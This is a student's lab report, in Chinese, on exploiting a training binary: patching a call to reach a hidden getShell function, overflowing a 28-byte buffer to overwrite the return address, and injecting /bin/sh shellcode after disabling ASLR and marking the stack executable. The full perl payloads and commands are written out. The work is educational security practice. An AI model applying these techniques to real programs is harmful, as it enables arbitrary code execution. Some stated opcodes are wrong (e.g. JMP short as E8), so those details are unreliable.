2019-2020-2 网络对抗技术 20175213吕正宏 Exp1 PC平台逆向破解

一、实践说明

实践目标

  • 对象：名为pwn1的linux可执行文件

  • 程序正常执行流程：main调用foo函数,foo函数会简单回显任何用户输入的字符串

  • 学习目标：运行这个代码片段。该程序同时包含另一个代码片段，getShell，会返回一个可用Shell而正常情况下这个代码是不会被运行的。

  • 三个实践内容如下：

    • 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode。

  • 代表现实情况中的攻击目标的思路：

    • 运行原本不可访问的代码片段。

    • 强行修改程序执行流。

    • 以及注入运行任意代码。

基础知识

  • 需要掌握的内容：

    • 熟悉Linux基本操作。能看懂常用指令,如管道（|），输入、输出重定向（>）等。

    • 理解Bof的原理。能看得懂汇编、机器指令、EIP、指令地址。

    • 会使用gdb,vi。

  • 指令、参数。

  • 理解思路。

二、 实践任务

1. 直接修改程序机器指令，改变程序执行流程

  • 输入指令objdump -d pwn1 | more对pwn1文件进行反汇编

  • 分析反汇编的结果

    • main函数中call 8048491 <foo>是汇编指令，其机器码为e8 d7 ff ff ff，e8即跳转的意思。这条指令将调用位于地址8048491处的foo函数。

    • 其下一条指令的地址为80484ba，而机器码中的0xd7ffffff = 0x080484ba - 0x08048491 为主函数执行位置和foo函数起始地址的差（d7ffffff是补码,表示-41）。

    • main函数调用foo，对应机器指令为e8 d7ffffff，
      想让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就行。即0x080484ba - 0x0804847d = 0xffffffc3。

  • 输入指令vi pwn1 打开以ASCII码显示的文件，但此时显示是乱码。

  • 输入指令:%!xxd 将文件转换为16进制查看。并找到d7ffffff 所在位置，输入i 进入插入模式，将d7修改为c3。

  • 输入指令:%!xxd -r 将文件转化为ASCII码形式，再输入:wq保存并退出。

  • 再输入指令objdump -d pwn1 | more 查看，发现pwn1文件已经被修改了。

  • 此时再运行修改后的代码，就会得到shell提示符。

2. 通过构造输入参数，造成BOF攻击，改变程序执行流

  • 通过反汇编的指令查看foo函数中为输入预留的空间

  • 这里读入字符串，但系统只预留了28字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 。我们希望执行getShell函数，因此需要将getShell函数的地址放在返回地址（eip寄存器）处，即33~36字节（4为EBP占用的内存空间）。

  • 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

  • 我们在gdb pwn1调试中中输入至少36字节的数据，如1111111122222222333333334444444412345678，发现Segmentation fault 的错误提示，且使用命令info r可以查看到eip寄存器的地址为0x34333231。

  • 我们将33~36字节的内容替换为getShell的地址0x0804847d，字符串以ASCII码输入，同时机器为小端法，因此应为\x7d\x84\x04\x08。即是输入11111111222222223333333344444444\x7d\x84\x04\x08。

  • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车。于是我们通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input来生成这样的文件。然后使用cat和xxd查看input文件的内容是否如预期。

  • 通过管道符| ，输入命令(cat input; cat ) | ./pwn2 将构造的输入注入并运行，结果如下：

3. 注入Shellcode并执行

  • （1）构造buf的方法：该任务中我们可以观察到缓冲区的空间并不是很大并不是很大，同时经过老师视频的讲解，我们可以确定应该是采用将shellcode放在后面的方法，因此直接对第一种方法进行测试，结构为：anything+retaddr+nops+shellcode

  • （2）准备工作：

    • 先利用apt-get install execstack命令安装execstack软件包。

    • foo函数的局部变量不需要机器码，而我们需要将shellcoode注入缓存区，需先设置设置堆栈可执行。execstack -s pwn3 设置堆栈可执行；
      execstack -q pwn3 查询文件的堆栈是否可执行，结果为X表示可执行。

    • linux系统为了防范shellcode的注入攻击，在多次运行程序时寄存器的地址会发生改变，因此需关闭地址随机化。

more /proc/sys/kernel/randomize_va_space 查看随机化是否关闭；

echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化；

more /proc/sys/kernel/randomize_va_space 再次查看，结果为0证明已关闭。

  • （3）构造payload

    • 参考老师给出的代码，我们首先构造一个input_shellcode：

    • perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。

    • 重新开启一个a终端（非root模式下），通过(cat input_shellcode;cat) | ./pwn3 运行pwn3。

    • 再开一个b终端，从中输入ps -ef | grep pwn3 查看pwn3的进程号。

    • 启用gdb调试并定位pwn3进程。disassemble foo 进行反编译，可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae。

    • 在a终端中按下回车运行， 程序执行到断点停止。再在b终端输入c继续运行程序。

    • info r esp 查看esp寄存器地址。

    • x/16x 0xffffd390 以16进制形式查看0xffffd390地址后面16字节的内容

  • （4）修改输入并实现shellcode注入

    • 修改注入代码的地址：

    • perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode。

    • 输入命令(cat input_shellcode;cat) | ./pwn3 运行发现shellcode注入成功。

三、 问题回答

  • 什么是漏洞，漏洞有什么危害？
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。
利用这些缺点，攻击者可以对计算机系统进行攻击，从而达到一定的目的。
漏洞威胁了计算机的系统安全，给攻击者有可乘之机，可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP：90
JNE：75
JE：74
CMP：38~3D
JMP：

JMP short：E8
JMP near：E9
JMP word：FF
JMP far：EA
  • 掌握反汇编器与十六进制编程器
反汇编指令:

objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时，将反汇编代码与源代码交替显示，编译时需要使用-g参数，即需要调试信息；
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section

十六进制编程器：是用来以16进制视图进行文本编辑的工具软件。

  vim <filename> 以ASCII码形式显示可执行文件的内容

  :%!xxd 将显示模式切换为16进制模式

  :%!xxd 将16进制切换回ASCII码模式

四、 心得体会

在前几个学期的学习中，缓冲区溢出攻击一直是挂在嘴边的知识点。这一次也终于亲手尝试了一下。
虽然中途遇到很多挫折，但通过网上资料的查找和与同学交流的方式，这次实验也算圆满完成。
通过观看视频和亲手做实验，我也对缓冲区溢出有了更深入的了解，相信在以后的学习生活中，我也会多多动手，实践出真知。

五、遇到的问题和解决方法

  • 问题一：在gdb调试时，显示“未找到命令”
  • 解决：在root下使用命令apt-get install gdb安装。

  • 问题二：gdb调试后出现Detaching after fork from child process ***错误。
  • 解决：gdb报信息Detaching after fork from child process ***意思是debug只能跟踪一条进程，这句话是把没有被debug的进程报给你。但根本原因是我在gdb调试是沿用了之前已经被修改成恶意代码的pwn1，所以要在开始备份pwn1，再在这步调试。

  • 问题三：再开另外一个终端用gdb调试pwn3时，显示“不允许的操作
    ”
  • 解决：不能在root模式下运行pwn3，需要重新开启个终端再运行pwn3，再开一个终端调试（总共三个终端）。